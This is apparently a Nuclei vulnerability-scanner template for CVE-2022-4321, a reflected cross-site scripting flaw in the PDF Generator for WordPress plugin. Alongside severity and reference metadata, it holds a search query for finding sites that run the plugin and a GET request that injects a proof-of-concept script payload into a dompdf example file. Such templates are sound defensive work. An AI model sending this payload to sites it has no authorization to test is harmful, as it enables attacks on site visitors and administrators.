56 lines
1.9 KiB
YAML
56 lines
1.9 KiB
YAML
id: CVE-2022-4321
|
|
|
|
info:
|
|
name: PDF Generator for WordPress < 1.1.2 - Cross Site Scripting
|
|
author: r3Y3r53,HuTa0
|
|
severity: medium
|
|
description: |
|
|
The plugin includes a vendored dompdf example file which is susceptible to Reflected Cross-Site Scripting and could be used against high privilege users such as admin
|
|
remediation: Fixed in version 1.1.2
|
|
reference:
|
|
- https://wpscan.com/vulnerability/6ac1259c-86d9-428b-ba98-7f3d07910644
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-4321
|
|
- https://wordpress.org/plugins/pdf-generator-for-wp/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2022-4321
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00071
|
|
epss-percentile: 0.29548
|
|
cpe: cpe:2.3:a:wpswings:pdf_generator_for_wordpress:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: wpswings
|
|
product: pdf_generator_for_wordpress
|
|
framework: wordpress
|
|
publicwww-query: "/wp-content/plugins/pdf-generator-for-wp"
|
|
tags: cve,cve2022,wpscan,wordpress,wp,wp-plugin,xss,pdf-generator-for-wp
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/wp-content/plugins/pdf-generator-for-wp/package/lib/dompdf/vendor/dompdf/dompdf/I18N/Arabic/Examples/Query.php?keyword="><script>alert(document.domain)</script>'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '><script>alert(document.domain)</script>'
|
|
- 'pdf-generator-for-wp'
|
|
- 'Total execution time is'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 490a0046304402206d526c3cefc681cae2b1eda7cdde663a10eb487ae2afd5b741663c59c6e9392a02202ede527927b85f1db40ed747e808549673a2a7da4a51f7028aa0b90c96d4ebf0:922c64590222798bb761d5b6d8e72950
|